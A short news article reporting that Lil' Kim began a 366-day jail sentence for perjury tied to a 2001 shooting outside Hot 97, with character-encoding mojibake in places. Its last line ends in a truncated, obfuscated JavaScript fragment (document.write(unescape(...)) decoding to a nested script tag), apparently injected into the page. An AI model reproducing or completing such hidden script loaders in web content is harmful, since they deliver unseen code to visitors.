Lil' Kim has begun her jail sentence after she was convicted of perjury.
The rapper will spend 366 days behind bars for trying to cover up two friends' involvement in a shooting.
She was taken to Philadelphia federal detention centre at around 4.45pm local time (9.45pm BST) Monday and her lawyer L Londell McMillan described Kim as "upbeat and smiling".
Lil' Kim â€" real name Kimberley Jones â€" was convicted of perjury and conspiracy in March, and had faced up to 20 years in jail on three counts of perjury and one count of conspiracy.
The jury was investigating two of the star's associates involved in a 2001 shooting outside of the Hot 97 studios in Manhattan on February 25, 2001, which left one man shot in the back after five men fired 22 bullets.
The rapper was accused off lying when she told a grand jury that her ex-manager Damion Butler was not at the station on the day and she denied knowing a former bodyguard, Suif Jackson. Both admitted that they were there and pleaded guilty to gun charges.
According to BBC News, Lil' Kim arrived in Philadelphia with an entourage of 20 to 25 people and was accompanied into the prison by her brother, mother and lawyer.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22